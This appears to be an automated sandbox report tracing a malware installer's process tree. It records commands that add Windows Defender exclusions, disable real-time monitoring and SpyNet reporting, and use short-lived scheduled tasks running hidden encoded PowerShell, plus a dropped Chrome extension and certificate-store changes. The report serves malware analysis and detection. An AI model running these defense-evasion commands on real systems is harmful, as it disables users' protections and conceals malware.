PID 2000 wrote to memory of 1956	2000	file.exe	28
PID 2000 wrote to memory of 1956	2000	file.exe	28
PID 2000 wrote to memory of 1956	2000	file.exe	28
PID 2000 wrote to memory of 1956	2000	file.exe	28
PID 2000 wrote to memory of 1956	2000	file.exe	28
PID 2000 wrote to memory of 1956	2000	file.exe	28
PID 2000 wrote to memory of 1956	2000	file.exe	28
PID 1956 wrote to memory of 1720	1956	Install.exe	29
PID 1956 wrote to memory of 1720	1956	Install.exe	29
PID 1956 wrote to memory of 1720	1956	Install.exe	29
PID 1956 wrote to memory of 1720	1956	Install.exe	29
PID 1956 wrote to memory of 1720	1956	Install.exe	29
PID 1956 wrote to memory of 1720	1956	Install.exe	29
PID 1956 wrote to memory of 1720	1956	Install.exe	29
PID 1720 wrote to memory of 1164	1720	Install.exe	31
PID 1720 wrote to memory of 1164	1720	Install.exe	31
PID 1720 wrote to memory of 1164	1720	Install.exe	31
PID 1720 wrote to memory of 1164	1720	Install.exe	31
PID 1720 wrote to memory of 1164	1720	Install.exe	31
PID 1720 wrote to memory of 1164	1720	Install.exe	31
PID 1720 wrote to memory of 1164	1720	Install.exe	31
PID 1720 wrote to memory of 976	1720	Install.exe	33
PID 1720 wrote to memory of 976	1720	Install.exe	33
PID 1720 wrote to memory of 976	1720	Install.exe	33
PID 1720 wrote to memory of 976	1720	Install.exe	33
PID 1720 wrote to memory of 976	1720	Install.exe	33
PID 1720 wrote to memory of 976	1720	Install.exe	33
PID 1720 wrote to memory of 976	1720	Install.exe	33
PID 1164 wrote to memory of 872	1164	forfiles.exe	35
PID 1164 wrote to memory of 872	1164	forfiles.exe	35
PID 1164 wrote to memory of 872	1164	forfiles.exe	35
PID 1164 wrote to memory of 872	1164	forfiles.exe	35
PID 1164 wrote to memory of 872	1164	forfiles.exe	35
PID 1164 wrote to memory of 872	1164	forfiles.exe	35
PID 1164 wrote to memory of 872	1164	forfiles.exe	35
PID 976 wrote to memory of 1548	976	forfiles.exe	36
PID 976 wrote to memory of 1548	976	forfiles.exe	36
PID 976 wrote to memory of 1548	976	forfiles.exe	36
PID 976 wrote to memory of 1548	976	forfiles.exe	36
PID 976 wrote to memory of 1548	976	forfiles.exe	36
PID 976 wrote to memory of 1548	976	forfiles.exe	36
PID 976 wrote to memory of 1548	976	forfiles.exe	36
PID 872 wrote to memory of 536	872	cmd.exe	37
PID 872 wrote to memory of 536	872	cmd.exe	37
PID 872 wrote to memory of 536	872	cmd.exe	37
PID 872 wrote to memory of 536	872	cmd.exe	37
PID 872 wrote to memory of 536	872	cmd.exe	37
PID 872 wrote to memory of 536	872	cmd.exe	37
PID 872 wrote to memory of 536	872	cmd.exe	37
PID 1548 wrote to memory of 836	1548	cmd.exe	38
PID 1548 wrote to memory of 836	1548	cmd.exe	38
PID 1548 wrote to memory of 836	1548	cmd.exe	38
PID 1548 wrote to memory of 836	1548	cmd.exe	38
PID 1548 wrote to memory of 836	1548	cmd.exe	38
PID 1548 wrote to memory of 836	1548	cmd.exe	38
PID 1548 wrote to memory of 836	1548	cmd.exe	38
PID 872 wrote to memory of 688	872	cmd.exe	39
PID 872 wrote to memory of 688	872	cmd.exe	39
PID 872 wrote to memory of 688	872	cmd.exe	39
PID 872 wrote to memory of 688	872	cmd.exe	39
PID 872 wrote to memory of 688	872	cmd.exe	39
PID 872 wrote to memory of 688	872	cmd.exe	39
PID 872 wrote to memory of 688	872	cmd.exe	39
PID 1548 wrote to memory of 1544	1548	cmd.exe	40

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2000
- C:\Users\Admin\AppData\Local\Temp\7zSF49C.tmp\Install.exe
  .\Install.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1956
- - C:\Users\Admin\AppData\Local\Temp\7zSFA18.tmp\Install.exe
    .\Install.exe /S /site_id "525403"
    3⤵
    - Executes dropped EXE
    - Checks BIOS information in registry
    - Loads dropped DLL
    - Drops file in System32 directory
    - Enumerates system info in registry
    - Suspicious use of WriteProcessMemory
    PID:1720
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1164
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:872
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        6⤵
        
        PID:536
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        6⤵
        
        PID:688
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:976
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1548
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        6⤵
        
        PID:836
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        6⤵
        
        PID:1544
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "gmnkDrgvK" /SC once /ST 01:09:31 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
      4⤵
      Creates scheduled task(s)
      PID:1928
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /run /I /tn "gmnkDrgvK"
      4⤵
      PID:1216
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /DELETE /F /TN "gmnkDrgvK"
      4⤵
      PID:1716
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "bWfTenrnZRhiBbesVI" /SC once /ST 03:02:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\RrGfQtYPiwOkePUDv\VKXYZpUBOsBjTnk\khzMlYN.exe\" 1d /site_id 525403 /S" /V1 /F
      4⤵
      Drops file in Windows directory
      Creates scheduled task(s)
      PID:1552

C:\Windows\system32\taskeng.exe
taskeng.exe {B7F800DD-6EF2-4FAC-ABE4-3F6042B5CE3E} S-1-5-21-2292972927-2705560509-2768824231-1000:GRXNNIIE\Admin:Interactive:[1]
1⤵
PID:1960
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1676
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:1932
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:436
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:1316
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:832
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:1848
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:908
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:1216

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1588

C:\Windows\system32\taskeng.exe
taskeng.exe {E4C38764-F354-437B-B91B-2110B9A2D3A5} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:1748
- C:\Users\Admin\AppData\Local\Temp\RrGfQtYPiwOkePUDv\VKXYZpUBOsBjTnk\khzMlYN.exe
  C:\Users\Admin\AppData\Local\Temp\RrGfQtYPiwOkePUDv\VKXYZpUBOsBjTnk\khzMlYN.exe 1d /site_id 525403 /S
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  PID:536
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gzuRNwSkk" /SC once /ST 02:07:17 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:872
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "gzuRNwSkk"
    3⤵
    PID:556
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "gzuRNwSkk"
    3⤵
    PID:1596
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
    3⤵
    PID:1620
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:1780
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
    3⤵
    PID:1716
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:1932
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gGSMbxUsf" /SC once /ST 02:56:14 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:1304
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "gGSMbxUsf"
    3⤵
    PID:1552
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "gGSMbxUsf"
    3⤵
    PID:112
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\yUSqPVaaVaTonAKz" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1652
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\yUSqPVaaVaTonAKz" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1952
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\yUSqPVaaVaTonAKz" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1840
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\yUSqPVaaVaTonAKz" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1712
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\yUSqPVaaVaTonAKz" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1596
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\yUSqPVaaVaTonAKz" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1620
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\yUSqPVaaVaTonAKz" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1340
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\yUSqPVaaVaTonAKz" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1020
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C copy nul "C:\Windows\Temp\yUSqPVaaVaTonAKz\kacPTynQ\DVRuKtLYPYbngVYy.wsf"
    3⤵
    PID:1636
- - C:\Windows\SysWOW64\wscript.exe
    wscript "C:\Windows\Temp\yUSqPVaaVaTonAKz\kacPTynQ\DVRuKtLYPYbngVYy.wsf"
    3⤵
    - Modifies data under HKEY_USERS
    PID:308
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\CGnJgFCBAzUn" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:672
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\CGnJgFCBAzUn" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1172
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DGkdqERBU" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1548
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DGkdqERBU" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:832
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PFmWviqWHYwU2" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1928
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PFmWviqWHYwU2" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:940
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VyejTHXZDswSKCkodlR" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:520
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VyejTHXZDswSKCkodlR" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1060
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mClEBLvlRMFiC" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:112
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mClEBLvlRMFiC" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1952
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\WUQzEHOimFfJbvVB" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1992
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\WUQzEHOimFfJbvVB" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1496
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\RrGfQtYPiwOkePUDv" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1932
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\RrGfQtYPiwOkePUDv" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1716
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\yUSqPVaaVaTonAKz" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1116
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\yUSqPVaaVaTonAKz" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:840
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\CGnJgFCBAzUn" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:556
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\CGnJgFCBAzUn" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1548
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DGkdqERBU" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:608
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DGkdqERBU" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1928
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PFmWviqWHYwU2" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1216
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PFmWviqWHYwU2" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1848
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VyejTHXZDswSKCkodlR" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:568
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VyejTHXZDswSKCkodlR" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1852
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mClEBLvlRMFiC" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1400
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mClEBLvlRMFiC" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1588
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\WUQzEHOimFfJbvVB" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1496
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\WUQzEHOimFfJbvVB" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:636
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\RrGfQtYPiwOkePUDv" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:340
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\RrGfQtYPiwOkePUDv" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:836
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\yUSqPVaaVaTonAKz" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:780
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\yUSqPVaaVaTonAKz" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1544
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gjFeUCwJX" /SC once /ST 00:59:14 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:556
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "gjFeUCwJX"
    3⤵
    PID:1548
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "gjFeUCwJX"
    3⤵
    PID:1992
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
    3⤵
    PID:1620
  - - C:\Windows\SysWOW64\reg.exe
      REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
      4⤵
      PID:1588
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
    3⤵
    PID:1220
  - - C:\Windows\SysWOW64\reg.exe
      REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
      4⤵
      PID:1020
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "jCymsroQFbYeGMouD" /SC once /ST 01:57:36 /RU "SYSTEM" /TR "\"C:\Windows\Temp\yUSqPVaaVaTonAKz\eQZzzKLpMZsikyh\Tvzuiyh.exe\" UZ /site_id 525403 /S" /V1 /F
    3⤵
    - Drops file in Windows directory
    - Creates scheduled task(s)
    PID:1008
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "jCymsroQFbYeGMouD"
    3⤵
    PID:1816
- C:\Windows\Temp\yUSqPVaaVaTonAKz\eQZzzKLpMZsikyh\Tvzuiyh.exe
  C:\Windows\Temp\yUSqPVaaVaTonAKz\eQZzzKLpMZsikyh\Tvzuiyh.exe UZ /site_id 525403 /S
  2⤵
  - Executes dropped EXE
  - Drops Chrome extension
  - Drops file in System32 directory
  - Drops file in Program Files directory
  - Modifies data under HKEY_USERS
  - Modifies system certificate store
  - Suspicious behavior: EnumeratesProcesses
  PID:1116
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "bWfTenrnZRhiBbesVI"
    3⤵
    PID:688
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
    3⤵
    PID:308
  - - C:\Windows\SysWOW64\reg.exe
